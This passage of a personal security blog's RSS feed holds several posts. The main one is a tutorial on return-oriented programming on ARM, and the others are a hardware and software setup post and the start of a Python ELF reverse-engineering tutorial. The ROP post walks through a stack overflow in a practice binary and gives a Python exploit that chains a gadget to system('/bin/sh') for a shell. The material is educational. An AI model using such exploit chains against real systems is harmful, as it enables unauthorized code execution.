1955<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1956</ul>
1957
1958<div class="footnotes">
1959<hr />
1960<ol>
1961<li id="fn-1">
1962<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1963</li>
1964
1965<li id="fn-2">
1966<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1967</li>
1968
1969<li id="fn-3">
1970<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1971</li>
1972</ol>
1973</div>
1974]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1975assembly to follow along. I highly recommend
1976<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1977Basics</a>. Once you’re
1978comfortable with it, proceed with the next bit—environment setup.</p>
1979
1980<h2 id="setup">Setup</h2>
1981
1982<p>Since we’re working with the ARM architecture, there are two options to go
1983forth with: </p>
1984
1985<ol>
1986<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1987And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1988The scripts found inside should be self-explanatory.</li>
1989<li>Use actual ARM hardware, like an RPi.</li>
1990</ol>
1991
1992<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1993may use <code>radare2</code>, IDA or anything else, really. All of which can be
1994trivially installed.</p>
1995
1996<p>And for the sake of simplicity, disable ASLR:</p>
1997
1998<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1999</code></pre></div>
2000
2001<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
2002<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
2003
2004<p>Compile it:</p>
2005
2006<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
2007</code></pre></div>
2008
2009<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
2010
2011<h2 id="a-primer-on-rop">A primer on ROP</h2>
2012
2013<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
2014used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
2015In essence, no code in the binary is actually modified and the entire exploit
2016is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
2017
2018<p>A gadget is essentially a small sequence of code (instructions), ending with
2019a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
2020code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
2021These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
2022to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
2023there’s generally a call to <code>system()</code>, to acheive code execution.</p>
2024
2025<p>In practice, the process of executing a ropchain is something like this:</p>
2026
2027<ul>
2028<li>confirm the existence of a stack-based buffer overflow</li>
2029<li>identify the offset at which the instruction pointer gets overwritten</li>
2030<li>locate the addresses of the gadgets you wish to use</li>
2031<li>craft your input keeping in mind the stack’s layout, and chain the addresses
2032of your gadgets</li>
2033</ul>
2034
2035<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
2036Check it out, it might be just what you needed for that “aha!” moment :)</p>
2037
2038<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
2039that should put things into perspective.</p>
2040
2041<h2 id="exploring-our-binary">Exploring our binary</h2>
2042
2043<p>Start by running it, and entering any arbitrary string. On entering a fairly
2044large string, say, “A” × 20, we
2045see a segmentation fault occur.</p>
2046
2047<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
2048
2049<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
2050
2051<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
2052
2053<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
2054<code>gadget</code>. Disassembling the <code>main</code> function:</p>
2055
2056<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
2057
2058<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
2059to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
2060never actually called.</p>
2061
2062<p>Disassembling the <code>gadget</code> function:</p>
2063
2064<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
2065
2066<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
2067which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
2068instruction in the middle. This is a <strong>gadget</strong>.</p>
2069
2070<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
2071arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
2072are used for this. So this gadget effectively allows us to pass arguments to
2073functions using <code>r0</code>, and subsequently jumping to them by passing its address
2074in <code>pc</code>. Neat.</p>
2075
2076<p>Moving on to the disassembly of the <code>winner</code> function:</p>
2077
2078<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
2079
2080<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
2081So our end goal here is to, quite obviously, execute code via the <code>system()</code>
2082function.</p>
2083
2084<p>Now that we have an overview of what’s in the binary, let’s formulate a method
2085of exploitation by messing around with inputs.</p>
2086
2087<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
2088
2089<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
2090screenshot.</p>
2091
2092<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
2093
2094<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
2095the <code>pc</code> has been overwritten with our input.
2096So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
2097
2098<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
2099control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
2100
2101<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
2102of the second instruction—<code>add r11, sp, #4</code>.
2103For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
2104the address of <code>winner</code>. Note the endianness.</p>
2105
2106<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
2107</code></pre></div>
2108
2109<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
2110
2111<p>The reason we don’t jump to the first instruction is because we want to control the stack
2112ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
2113those out after <code>winner</code> is done executing and we will no longer control
2114where it jumps to.</p>
2115
2116<p>So that didn’t do much, just prints out a string “Nothing much here…”.
2117But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
2118to do what we want (run a command, execute a shell, etc.).</p>
2119
2120<p>To do that, we’ll follow a multi-step process: </p>
2121
2122<ol>
2123<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
2124<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
2125<code>r0</code>.</li>
2126<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
2127</ol>
2128
2129<p>The pseudo-code is something like this:</p>
2130
2131<pre><code>string = AAAABBBBCCCCDDDDEEEE
2132gadget = # addr of gadget
2133binsh = # addr of /bin/sh
2134system = # addr of system()
2135
2136print(string + gadget + binsh + system)
2137</code></pre>
2138
2139<p>Clean and mean.</p>
2140
2141<h2 id="the-exploit">The exploit</h2>
2142
2143<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>.
2144It allows us to pack the bytes of addresses to the endianness of our choice.
2145It probably does a lot more, but who cares.</p>
2146
2147<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
2148at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
2149
2150<pre><code>(gdb) find &system, +9999999, "/bin/sh"
2151</code></pre>
2152
2153<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
2154
2155<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
2156found from the disassmblies from earlier. Here’s the final exploit code:</p>
2157
2158<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
2159
2160<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
2161<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
2162<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
2163<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
2164
2165<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
2166</code></pre></div>
2167
2168<p>Honestly, not too far off from our pseudo-code :)</p>
2169
2170<p>Let’s see it in action:</p>
2171
2172<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
2173
2174<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
2175when the pipe closes, since there’s no input coming in from STDIN.
2176To get around this, we use <code>cat(1)</code> which allows us to relay input through it
2177to the shell. Nifty trick.</p>
2178
2179<h2 id="conclusion">Conclusion</h2>
2180
2181<p>This was a fairly basic challenge, with everything laid out conveniently.
2182Actual ropchaining is a little more involved, with a lot more gadgets to be chained
2183to acheive code execution.</p>
2184
2185<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
2186]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
2187
2188<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
21898 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
2190
2191<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
2192I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
2193
2194<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
2195
2196<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
2197For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
2198
2199<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
2200Great pair of headphones, although the ear cups need replacing.</p>
2201
2202<h2 id="and-the-software">And the software</h2>
2203
2204<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
2205window manager, all riced. I now use whatever JustWorks™.</del></p>
2206
2207<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
2208running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
2209
2210<p>Here’s a (riced) screenshot of my desktop. </p>
2211
2212<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
2213
2214<p>Most of my work is done in either the browser, or the terminal.
2215My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
2216a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>.
2217My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
2218I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
2219
2220<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
2221clean and a single command to drop into a Kali shell.</p>
2222
2223<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
2224The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
2225
2226<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
2227]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
2228
2229<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
2230
2231<h2 id="setup">Setup</h2>
2232
2233<p>As the title suggests, you’re going to need a Python 3 interpreter before
2234anything else. Once you’ve confirmed beyond reasonable doubt that you do,
2235in fact, have a Python 3 interpreter installed on your system, run</p>
2236
2237<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
2238</code></pre></div>
2239
2240<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
2241
2242<p>With that out of the way, let’s start with an example of a basic reversing
2243challenge.</p>
2244
2245<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
2246
2247<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
2248<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
2249<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
2250
2251<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
2252 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
2253 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
2254 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
2255 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
2256 <span class="p">}</span>
2257 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
2258 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
2259 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
2260 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
2261 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
2262 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2263 <span class="p">}</span>
2264 <span class="k">else</span> <span class="p">{</span>
2265 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2266 <span class="p">}</span>
2267<span class="p">}</span>
2268</code></pre></div>
2269
2270<p>Compile it with GCC/Clang:</p>
2271
2272<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
2273</code></pre></div>
2274
2275<h2 id="scripting">Scripting</h2>
2276
2277<p>For starters, let’s look at the different sections present in the binary.</p>
2278
2279<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
2280
2281<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2282
2283<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2284 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2285 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2286 <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
2287</code></pre></div>
2288
2289<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
2290
2291<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
2292<span class="go">0x238 .interp</span>
2293<span class="go">0x254 .note.ABI-tag</span>
2294<span class="go">0x274 .note.gnu.build-id</span>
2295<span class="go">0x298 .gnu.hash</span>
2296<span class="go">0x2c0 .dynsym</span>
2297<span class="go">0x3e0 .dynstr</span>
2298<span class="go">0x484 .gnu.version</span>
2299<span class="go">0x4a0 .gnu.version_r</span>
2300<span class="go">0x4c0 .rela.dyn</span>
2301<span class="go">0x598 .rela.plt</span>
2302<span class="go">0x610 .init</span>
2303<span class="go">0x630 .plt</span>
2304<span class="go">0x690 .plt.got</span>
2305<span class="go">0x6a0 .text</span>
2306<span class="go">0x8f4 .fini</span>
2307<span class="go">0x900 .rodata</span>
2308<span class="go">0x924 .eh_frame_hdr</span>
2309<span class="go">0x960 .eh_frame</span>
2310<span class="go">0x200d98 .init_array</span>
2311<span class="go">0x200da0 .fini_array</span>
2312<span class="go">0x200da8 .dynamic</span>
2313<span class="go">0x200f98 .got</span>
2314<span class="go">0x201000 .data</span>
2315<span class="go">0x201010 .bss</span>
2316<span class="go">0x0 .comment</span>
2317<span class="go">0x0 .symtab</span>
2318<span class="go">0x0 .strtab</span>
2319<span class="go">0x0 .shstrtab</span>
2320</code></pre></div>
2321
2322<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
2323
2324<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
2325
2326<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
2327
2328<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2329<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
2330
2331<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2332 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2333 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
2334 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
2335 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
2336 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
2337 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
2338 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'0x</span><span class="si">{i.address:x}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{i.mnemonic}</span><span class="se">\t</span><span class="si">{i.op_str}</span><span class="s1">'</span><span class="p">)</span>
2339</code></pre></div>
2340
2341<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
2342
2343<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
2344<span class="go">0x6a0: xor ebp, ebp</span>
2345<span class="go">0x6a2: mov r9, rdx</span>
2346<span class="go">0x6a5: pop rsi</span>
2347<span class="go">0x6a6: mov rdx, rsp</span>
2348<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
2349<span class="go">0x6ad: push rax</span>
2350<span class="go">0x6ae: push rsp</span>
2351<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
2352<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
2353<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
2354<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
2355<span class="go">0x6ca: hlt</span>
2356<span class="go">... snip ...</span>
2357</code></pre></div>
2358
2359<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
2360
2361<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
2362
2363<blockquote>
2364 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
2365</blockquote>
2366
2367<p>To try and find these relocation entries, we write a third script.</p>
2368
2369<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
2370
2371<span class="kn">import</span> <span class="nn">sys</span>
2372<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2373<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
2374
2375<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2376 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2377 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2378 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
2379 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{section.name}</span><span class="s1">:'</span><span class="p">)</span>
2380 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
2381 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
2382 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
2383 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
2384 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{symbol.name}</span><span class="s1"> </span><span class="si">{addr}</span><span class="s1">'</span><span class="p">)</span>
2385</code></pre></div>
2386
2387<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
2388
2389<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
2390<span class="go">.rela.dyn:</span>
2391<span class="go"> 0x200d98</span>
2392<span class="go"> 0x200da0</span>
2393<span class="go"> 0x201008</span>
2394<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
2395<span class="go">**__libc_start_main 0x200fe0**</span>
2396<span class="go">__gmon_start__ 0x200fe8</span>
2397<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
2398<span class="go">__cxa_finalize 0x200ff8</span>
2399<span class="go">stdin 0x201010</span>
2400<span class="go">.rela.plt:</span>
2401<span class="go">puts 0x200fb0</span>
2402<span class="go">printf 0x200fb8</span>
2403<span class="go">fgets 0x200fc0</span>
2404<span class="go">strcmp 0x200fc8</span>
2405<span class="go">malloc 0x200fd0</span>
2406</code></pre></div>
2407
2408<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
2409
2410<blockquote>
2411 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
2412</blockquote>
2413
2414<p>And its definition is like so</p>
2415
2416<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
2417<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
2418<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2419<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
